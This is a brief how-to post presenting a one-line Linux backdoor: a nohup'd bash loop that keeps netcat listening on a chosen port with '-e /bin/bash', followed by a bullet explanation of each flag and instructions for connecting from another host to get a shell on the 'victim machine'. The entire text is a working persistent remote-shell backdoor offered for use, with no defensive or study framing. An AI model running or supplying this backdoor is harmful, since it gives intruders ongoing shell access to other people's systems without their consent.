The one line script

$ nohup bash -c 'while true; do nc -l -e /bin/bash -p ${port}; done' &  

How this works

• nohup makes this backdoor immune to SIGHUP
• bash -c ${string} will run the ${string} as command
• nc -l let nc keep listening on the port
• nc -e ${sth} means excute ${sth} after connected
• nc -p to choose a port for nc to listen
• ${port} is the backdoor port set on the victim machine.
  • You can change it to a port number whatever you like.
• use shell scripting while for keeping listening

How to use

After run the command above on the victim machine, you can just type

$ nc ${victim_ip} ${port}  

to connect to the victim machine and get a bash shell as the same uid which ran the command.